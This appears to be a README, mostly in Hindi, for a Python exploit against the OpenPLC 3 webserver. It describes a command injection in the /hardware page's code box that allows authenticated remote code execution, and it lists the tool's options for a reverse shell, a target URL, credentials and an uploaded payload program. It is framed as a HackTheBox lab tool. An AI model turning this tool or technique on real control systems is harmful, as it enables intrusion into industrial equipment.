
OpenPLC 3 वेबसर्वर प्रमाणित रिमोट कोड निष्पादन।
OpenPLC 3 वेबसर्वर प्रमाणित रिमोट कोड निष्पादन।
Open PLC Webserver v3 में कमांड इंजेक्शन की उपस्थिति दूरस्थ हमलावरों को एप्लिकेशन के "/hardware" पृष्ठ पर पाए जाने वाले "Hardware Layer Code Box" घटक का शोषण करके मनमाना कोड चलाने में सक्षम बनाती है। केवल hackthebox से Wifinetictwo.htb मशीन पर परीक्षण किया गया।
usage: openplc_exploit.py [-h] [--usage] --ip ADDR --port PORT --target URL -U USER -P PASSWORD
[--payload-program PAYLOAD_PROGRAM]
options:
-h, --help show this help message and exit
--usage show usage message
--ip ADDR ip address for the reverse connection
--port PORT port number to the reverse connection
--target URL target url. Example: http://localhost:8080
-U USER, --username USER
username to log int to openplc web server
-P PASSWORD, --password PASSWORD
password to log in to openplc web server
--payload-program PAYLOAD_PROGRAM
structured text openplc format to send to /upload-program